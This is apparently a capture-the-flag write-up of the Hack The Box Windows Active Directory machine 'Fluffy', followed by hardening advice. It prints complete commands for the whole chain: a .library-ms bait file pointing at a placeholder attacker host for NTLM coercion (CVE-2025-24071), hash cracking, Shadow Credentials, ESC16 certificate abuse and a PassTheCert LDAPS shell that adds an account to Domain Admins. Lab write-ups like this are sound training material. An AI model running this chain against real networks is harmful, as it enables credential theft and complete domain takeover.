- OS: Windows AD
- Domain / vhosts:
fluffy.htb,DC01.fluffy.htb - Provided creds (assume-breach):
j.fleischman / <PROVIDED_PW>(HTB shows it on the spawn page — alphanumeric, ~17 chars)
Summary
Fluffy is an Easy Windows AD assume-breach: low-priv j.fleischman
(supplied) → NTLM coercion via CVE-2025-24071
(.library-ms inside a ZIP, dropped into a writable share so
Explorer-preview triggers an outbound SMB auth) → captured
p.agila NetNTLMv2 → cracked offline. p.agila is a member of
Service Account Managers, which has GenericAll over the
Service Accounts group. Adding ourselves to that group inherits
GenericWrite over winrm_svc, ldap_svc, ca_svc —
i.e. msDS-KeyCredentialLink writes (Shadow Credentials).
With shadow-cred → cert auth, we extract the NT hash for winrm_svc
and log in over WinRM for the user flag.
The official root path is ESC16 (CA omits the SID extension OID
1.3.6.1.4.1.311.25.2, KDC has StrongCertificateBindingEnforcement
= 0): set ca_svc’s UPN to administrator, request a User
template cert from fluffy-DC01-CA, restore ca_svc’s UPN, then
PKINIT-auth as Administrator. On this snapshot the path falls
back to passthecert.py because the DC’s machine cert had
expired (NotAfter = 2025-04-17 with the Missing stored keyset
flag), so the KDC rejects every PKINIT request with
KDC_ERR_PADATA_TYPE_NOSUPP. The cert is still valid for
Schannel-bound LDAPS, so we drop into an authenticated LDAPS
shell as Administrator and add winrm_svc to Domain Admins —
re-using the existing WinRM session for root.txt.
The chain in one line: provided low-priv j.fleischman →
CVE-2025-24071 NTLM coercion → crack p.agila → group write to
join Service Accounts → Shadow Credentials → winrm_svc NT
hash → ESC16 cert as Administrator → Schannel LDAPS bind
(passthecert) → DA on winrm_svc → root.
Recon
53/tcp DNS
88/tcp Kerberos (KDC)
139/445 SMB
389/636 LDAP / LDAPS
3268 Global Catalog
5985 WinRM
9389 ADWS
Standard DC profile. ldap_svc and winrm_svc in the user list
hint at split service accounts, and a ca_svc plus the 9389
ADWS surface together suggest AD CS is on the box.
nxc smb <DC> -u j.fleischman -p '<PROVIDED_PW>' # creds verified
nxc ldap <DC> -u j.fleischman -p '<PROVIDED_PW>' --users
The IT share is interesting: anonymous to j.fleischman it
permits ls and put. Pull everything.
smbclient -U fluffy.htb/j.fleischman%'<PROVIDED_PW>' \
//<DC>/IT -c 'recurse ON; prompt OFF; mget *'
Upgrade_Notice.pdf lists six fresh CVEs the IT team are tasked
with patching, headlined by CVE-2025-24071 (Critical). That’s
our trigger — IT staff are actively browsing this share, so
Explorer’s preview pane will resolve any .library-ms we drop.
Foothold — CVE-2025-24071 NTLM coercion
The bug: Windows Explorer parses .library-ms files when the
containing folder (or the ZIP’s preview view) is rendered. The
<simpleLocation><url> element accepts a UNC path, and Explorer
issues an SMB lookup without prompting. Drop one in a writable
share, wait for any user to navigate near it, and the user’s
NetNTLMv2 lands in our responder.
Build the bait:
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<simpleLocation>
<url>\\<ATTACKER>\share</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
zip pwn.zip exploit.library-ms
smbclient -U fluffy.htb/j.fleischman%'<PROVIDED_PW>' \
//<DC>/IT -c "put pwn.zip; put exploit.library-ms"
sudo responder -I tun0 -wF
The HTB box has a scheduled task that simulates p.agila browsing
IT. Within ~30s the responder log shows multiple
p.agila::FLUFFY:… NTLMv2 captures from <TARGET>.
hashcat -m 5600 p.agila.hash /usr/share/wordlists/rockyou.txt
# → <P_AGILA_PW>
Lateral — Service Accounts join → Shadow Credentials → WinRM
p.agila doesn’t have direct ACEs on the service accounts. They
do sit in Service Account Managers, which has GenericAll
over the Service Accounts group. Walk the graph:
p.agila ──member──▶ Service Account Managers ──GenericAll──▶ Service Accounts (group)
│
(Service Accounts group has GenericWrite over winrm_svc, ldap_svc, ca_svc)
So joining ourselves to Service Accounts inherits GenericWrite
on each service account — enough to write
msDS-KeyCredentialLink (Shadow Credentials).
bloodyAD --host <DC> -d fluffy.htb -u p.agila -p <P_AGILA_PW> \
add groupMember 'Service Accounts' p.agila
Once we’re a Service Account, write a Key Credential to
winrm_svc. Use -dc-host for certipy-ad in this lab: NTLM
binding without it failed with [Errno 113] No route to host on
the spawn we tested.
certipy-ad shadow auto -u [email protected] -p <P_AGILA_PW> \
-account winrm_svc -dc-host DC01.fluffy.htb
# → NT hash: <winrm_svc_NT>
WinRM as winrm_svc:
evil-winrm -i <DC> -u winrm_svc -H <winrm_svc_NT>
# → fluffy\winrm_svc — type ..\Desktop\user.txt
Caveat: time skew breaks shadow-credential PKINIT silently
The first attempt errored KDC_ERR_CLIENT_NOT_TRUSTED. The Kali
clock had drifted ~7h from the DC’s. sudo ntpdate -u <DC>
resyncs and the next shadow auto succeeds. Always check
date on the attacker before debugging Kerberos.
Privilege escalation — ESC16, falling back to PassTheCert
certipy-ad find shows the CA fluffy-DC01-CA with
Disabled Extensions: 1.3.6.1.4.1.311.25.2. That OID is
szOID_NTDS_CA_SECURITY_EXT — the SID extension that strong
certificate-to-account mapping relies on. With it disabled, every
issued cert lacks the SID binding. Combined with the DC’s
StrongCertificateBindingEnforcement = 0 (compatibility mode),
this is ESC16: any user under our control whose UPN is
temporarily flipped to a target account’s identity yields a cert
that the KDC will weak-map to the target.
ca_svc is in Service Accounts (in fact, in Cert
Publishers too) — i.e. eligible to enroll on the User
template via Domain Users. After joining Service Accounts,
p.agila (via inherited GenericWrite) can rewrite
ca_svc.userPrincipalName. This is the classic ESC16 sequence:
# 1) Set ca_svc UPN to the target's sAMAccountName
certipy-ad account -u [email protected] -hashes :<winrm_svc_NT> \
-dc-ip <DC> -user ca_svc -upn administrator update
# 2) Enroll a User cert as ca_svc — embeds UPN=administrator in SAN
certipy-ad req -u [email protected] -hashes :<ca_svc_NT> \
-dc-ip <DC> -ca fluffy-DC01-CA -template User \
-target DC01.fluffy.htb
# → administrator.pfx, "Got certificate with UPN 'administrator'"
# → "Certificate has no object SID" (this is the ESC16 signal)
# 3) Restore ca_svc UPN — critical, otherwise the KDC weak-mapper
# sees the cert as belonging to ca_svc rather than Administrator
certipy-ad account -u [email protected] -hashes :<winrm_svc_NT> \
-dc-ip <DC> -user ca_svc -upn ca_svc update
The intended next step is certipy-ad auth -pfx administrator.pfx
-username administrator -domain fluffy.htb — which on a healthy
ESC16 box produces Administrator’s NT hash via
UnPACtheHash over the PKINIT TGT.
When PKINIT is structurally dead
On this snapshot it doesn’t work. certutil -store My on the DC
(via the winrm_svc shell) shows the DomainController cert
CN=DC01.fluffy.htb with NotAfter = 2025-04-17 and
Missing stored keyset — i.e. the DC’s PKINIT keypair is gone
and the cert has expired. Every PKINIT pre-auth attempt comes
back with KDC_ERR_PADATA_TYPE_NOSUPP (the KDC has no
PKINIT-capable cert to satisfy the request).
The ESC16 cert is still cryptographically valid, and the AD LDAPS
endpoint accepts it for Schannel mutual TLS. With strong
binding off, the LDAP server weak-maps cert SAN UPN to
implicit-UPN [email protected] and binds us as
Administrator. AlmondOffSec’s passthecert.py does this and adds
an LDAP shell on top:
certipy-ad cert -pfx administrator.pfx -nokey -out administrator.crt
certipy-ad cert -pfx administrator.pfx -nocert -out administrator.key
python3 PassTheCert/Python/passthecert.py -action whoami \
-crt administrator.crt -key administrator.key \
-domain fluffy.htb -dc-ip <DC>
# → "[*] You are logged in as: FLUFFY\Administrator"
From an admin LDAPS bind, escalate by adding our winrm_svc
session to Domain Admins — cheaper than DCSync, no NTDS dump
needed:
python3 PassTheCert/Python/passthecert.py -action ldap-shell \
-crt administrator.crt -key administrator.key \
-domain fluffy.htb -dc-ip <DC> -port 636
# # add_user_to_group winrm_svc "Domain Admins"
# Adding user: winrm service to group Domain Admins result: OK
# # exit
Reconnect with the existing winrm_svc hash — the new group
membership is in the Kerberos PAC for the next logon — and read
root.txt:
type C:\Users\Administrator\Desktop\root.txt
Why each step worked
- CVE-2025-24071: Windows Explorer renders
.library-msfiles on folder/preview enumeration. The<simpleLocation><url>UNC is fetched without prompting; the fetch authenticates with the user’s NTLMSSP. ZIP autoextract on preview makes the attack one-step (drop a ZIP into a writable share, wait). - Service Account Managers → Service Accounts (GenericAll on group) → group membership: a textbook nested-group ACL chain. Add yourself to a group whose group-level rights propagate ACE-wise to its members — with GenericWrite on member objects, shadow credentials and a dozen other writes follow.
- Shadow Credentials:
msDS-KeyCredentialLinkis just an attribute. GenericWrite suffices to plant a public key and PKINIT-auth as the account. - ESC16:
szOID_NTDS_CA_SECURITY_EXTis the SID-binding extension on issued certs. When disabled, the KDC must fall back to weak (UPN-based) mapping. Combined withStrongCertificateBindingEnforcement = 0on the KDC, weak mapping is allowed, and a cert whose SAN UPN matches Administrator’s implicit UPN authenticates as Administrator. - PassTheCert (Schannel LDAPS) instead of PKINIT: the AD LDAP TLS endpoint applies the same weak-mapping fallback independently of the KDC. When PKINIT is broken (no DC cert), this is the lateral escape hatch — the cert maps the same way, just through a different acceptor.
Counterfactuals
- Patch CVE-2025-24071 (March 2025 cumulative). The
.library-msparser changes; the SMB lookup is gated. Closes the foothold. - Don’t make
ITwritable to non-IT-team accounts. The attacker’s bait can’t land if it can’t be uploaded. - Audit nested ACE chains. Service Account Managers with GenericAll over Service Accounts plus an ACL on members inside that group is the load-bearing edge — collapses cleanly with a DAR (Don’t Assume Recursion) rule against group-controlled writes to high-value SAs.
- ADCS hygiene: do not disable
szOID_NTDS_CA_SECURITY_EXT. The “compatibility” justification (older clients) does not outweigh ESC16. SetHKLM\System\CurrentControlSet\Services\Kdc\StrongCertificateBindingEnforcement = 2to enforce strong mapping at the KDC. - Renew the DC’s machine cert promptly; an expired DC cert silently takes PKINIT offline. (Ironically, this is what saved Fluffy from a clean ESC16 in our spawn — but it would have prevented a defender from noticing PKINIT is even compromised.)
Key Takeaways
-dc-hostnot-dc-ipforcertipy-adagainst this DC. NTLM-bound LDAPS via IP got[Errno 113]; usingDC01.fluffy.htb(which/etc/hostsresolves) connected cleanly. Quirk worth memorising — the cost of debugging it cold is high.- Time skew is the silent killer of Kerberos primitives.
PKINIT, S4U, AS-REQ — they all surface time errors as cryptic
KDC_ERR_CLIENT_NOT_TRUSTED/PREAUTH_FAILED.sudo ntpdate -u <DC>first, debug second. - Pre-emptive split for AD CS workflows:
certipy reqproduces a.pfx. The next thing every tool wants is the separated.crt/.key. Run bothcert -nokeyandcert -nocertin the same line you create the PFX so downstream steps don’t break the rhythm. - PKINIT can be dead while ESC16 still wins. Always check
certutil -store Myon the DC if PKINIT keeps returningKDC_ERR_PADATA_TYPE_NOSUPP— an expired or keyset-missing DC cert is the classic cause, and Schannel-bind viapassthecert.pyis the alternative path. The cert is the weapon; PKINIT and Schannel are two acceptors that interpret the same identity claim. - Validate the
userPrincipalNamerestoration step. Without resettingca_svc.UPNafter issuance, the KDC weak-mapper matches the cert back toca_svc(an explicit-UPN match) and refuses to coerce-bind it to Administrator. Skipping this step was the source of “everyone’s writeup says it works, mine doesn’t” debugging.
References
- CVE-2025-24071 advisory.
- ly4k Certipy ESC16 wiki — https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation
- AlmondOffSec PassTheCert — https://github.com/AlmondOffSec/PassTheCert
- Microsoft KB on
StrongCertificateBindingEnforcementandszOID_NTDS_CA_SECURITY_EXT.